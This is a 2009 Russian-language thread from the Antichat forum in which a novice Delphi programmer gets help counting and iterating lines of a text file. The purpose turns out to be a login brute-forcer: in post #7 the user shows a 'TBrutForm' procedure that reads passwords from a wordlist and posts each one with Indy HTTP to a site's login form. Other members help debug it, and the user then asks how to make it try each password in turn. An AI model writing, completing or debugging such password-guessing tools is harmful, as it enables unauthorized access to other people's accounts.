ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

[Delphi] Помогите с .txt файлом
  #1  
Старый 18.12.2009, 21:15
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
Question [Delphi] Помогите с .txt файлом

Привет всем) народ помогите разобраться с text файлами...интересует меня собственно 2 вопроса:

1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?

2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки!

Прошу помочь, оч нуно
 
Ответить с цитированием

  #2  
Старый 18.12.2009, 21:46
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

Цитата:
Сообщение от Kandi  
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
Код:
Stroki:TStringList;

Stroki:=TStringList.Create;
Stroki.LoadFromFile('file.txt');
Stroki.Count - количество строк

Цитата:
Сообщение от Kandi  
2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки!
нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
 
Ответить с цитированием

  #3  
Старый 18.12.2009, 22:21
AlexTheC0d3r
Постоянный
Регистрация: 25.07.2008
Сообщений: 454
Провел на форуме:
1229135

Репутация: 425
Отправить сообщение для AlexTheC0d3r с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZdezBilYa  
нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
возможно под словом "парсить" он имел ввиду совсем другое, т.е. обычный цикл перебора строк...

Код:
var i:integer;
begin
for i:=0 to stroki.count-1 do  // если не ошибаюсь, нумерация строк Tstringlist начинается с 0, если все-таки ошибаюсь, то замени 0 на 1, и -1 убери...
begin
{
тут код.... обращаться к текущей строке stroki[i].text; - выведет текст текущей строки...
}
end;
end;
 
Ответить с цитированием

  #4  
Старый 19.12.2009, 02:37
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
Question

Цитата:
Сообщение от ZdezBilYa  
Код:
Stroki:TStringList;

Stroki:=TStringList.Create;
Stroki.LoadFromFile('file.txt');
Stroki.Count - количество строк


нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
Спасибо, попробовал, но возникло "НО" вот делаю такой код:
Код:
procedure TForm1.Button1Click(Sender: TObject);
var
 Stroki:TStringList;
begin
 Stroki:=TStringList.Create;
 Stroki.LoadFromFile('D:\filename.txt');
 Label1.Caption := Stroki.Count;
end;
Ругаеться на :
Код:
 Label1.Caption := Stroki.Count;
Понимаю, что это совсем не годиться, ну тогда подскажите куда это значение можно вывести) желательно на Label.Caption!

В чем моя ошибка? еще вопрос по поводу счета строк, мне надо что бы при открытие файла т.е. я открываю файл через OpenDialog1 текстовый и мне сразу считывается кол-во строк...подскажите как лучше прикрепить?
вот код на OpenDialog1:

Код:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
 Open1.InitialDir := GetCurrentDir;
if
 Open1.Execute
then
 Password.Text := Open1.FileName                              
else
 ShowMessage('Файл не выбран!');
end;
Подскажите, как прикрутить подсчет строк к этому?
P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...
 
Ответить с цитированием

  #5  
Старый 19.12.2009, 02:57
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer.
Надо:

Код:
Label1.Caption := IntToStr(Stroki.Count);
Чтобы при открытии сразу количество строк выводилось, то вот так:

Код:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
 Open1.InitialDir := GetCurrentDir;
if
 Open1.Execute
then
 begin
  Password.Text := Open1.FileName;
  Stroki:=TStringList.Create;
  Stroki.LoadFromFile(Open1.FileName); 
  Label1.Caption := IntToStr(Stroki.Count);
 end                            
else
 ShowMessage('Файл не выбран!');
end;
Подскажите, как прикрутить подсчет строк к этому?
P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...[/QUOTE]
 
Ответить с цитированием

  #6  
Старый 19.12.2009, 03:09
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZdezBilYa  
Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer.
Надо:

Код:
Label1.Caption := IntToStr(Stroki.Count);
Чтобы при открытии сразу количество строк выводилось, то вот так:

Код:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
 Open1.InitialDir := GetCurrentDir;
if
 Open1.Execute
then
 begin
  Password.Text := Open1.FileName;
  Stroki:=TStringList.Create;
  Stroki.LoadFromFile(Open1.FileName); 
  Label1.Caption := IntToStr(Stroki.Count);
 end                            
else
 ShowMessage('Файл не выбран!');
end;
Ох Вы мой спаситель
Спасибо Вам огромное за помощь...

Может Вы мне подскажите как сделать так, что бы вытаскивалась строка из файла вставлялась в PassEdit.text например или в какую нить процедуру и так процедура это длилась пока не закончатся строки...хотя бы небольшой пример.
 
Ответить с цитированием

  #7  
Старый 19.12.2009, 03:34
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
По умолчанию

Вот сделал такую процедуру:
Код:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
  Http  : TidHttp;
  CM    : TidCookieManager;
  Data  : TStringList;
  StrPage, UserID,  UserName  :  String;
  Str1 : TStringList;
  i : Integer;
begin
  Str1:=TStringList.Create;
  Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
  try
    Http := TIdHTTP.Create(Self);
    Data := TStringList.Create;
    CM := TidCookieManager.Create(Http);
    Http.AllowCookies := true;
    Http.CookieManager := CM;
    Http.HandleRedirects := true;

    Http.Request.Host:=HostEdit.Text;
    Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
    Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
    Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
    Http.Request.Referer:=RefererEdit.Text;

    Data.Add('subaction=dologin');
    Data.Add('username='+NickEdit.Text);
    Data.Add('password='+Str1[i].Text);
    Data.Add('selected_language='+BoxLanguage.Text);
    StrPage := Http.Post(HTTPEdit.Text, Data);
  finally
    Data.Free;
    CM.Free;
    Http.Free;
    Str1.Free;
  end;

  if Pos('Engine:</td',StrPage) <> 0 then
    ShowMessage('Поздравляем авторизация прошла успешно!')
  else
    ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!');
end;
Но выдаёт ошибку тут:
Код:
    Data.Add('password='+Str1[i].Text);
Ругаеться на +Str1[i].Text
В чем я ошибся, подскажите плз!
 
Ответить с цитированием

  #8  
Старый 19.12.2009, 03:53
ZdezBilYa
Участник форума
Регистрация: 29.08.2008
Сообщений: 151
Провел на форуме:
1551582

Репутация: 107
Отправить сообщение для ZdezBilYa с помощью ICQ
По умолчанию

Ошибка в том, что обращение к конкретной строке в списке делается просто Str1[i], где i - номер строки. Никакого Text не надо.
Остальное вроде всё верно на первый взгляд)
 
Ответить с цитированием

  #9  
Старый 19.12.2009, 08:45
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Цитата:
Ругаеться на +Str1[i].Text
Конкретно не сталкивался с таким выбором строки, но я делаю так когда нужно показать отдельную какую либо строку:
str1.strings[i]
 
Ответить с цитированием

  #10  
Старый 19.12.2009, 14:13
Kandi
Познающий
Регистрация: 18.11.2009
Сообщений: 44
Провел на форуме:
134032

Репутация: 3
Отправить сообщение для Kandi с помощью ICQ
По умолчанию

Цитата:
Сообщение от ZdezBilYa  
Ошибка в том, что обращение к конкретной строке в списке делается просто Str1[i], где i - номер строки. Никакого Text не надо.
Остальное вроде всё верно на первый взгляд)
исправил вроде заработало) только если в файле 1 пасс то норм логинится, если он правильный а вот если два то прога виснет) подскажите, что сделать, что бы сначало пробовал первый пасс потом второй потом третий... и т.д.? есть примерные идеи?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите с файлом slivalok Болталка 9 02.06.2009 01:06
[Delphi] помогите достать исходники ИИ mrVoodoo С/С++, C#, Delphi, .NET, Asm 1 13.02.2009 20:55
помогите с файлом hosts в windows max_rebel Безопасность 27 05.01.2009 21:08
Народ!!! Помогите НАМ!!! Помогите покончить с беспределом!!! Monah Чаты 7 24.08.2005 07:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ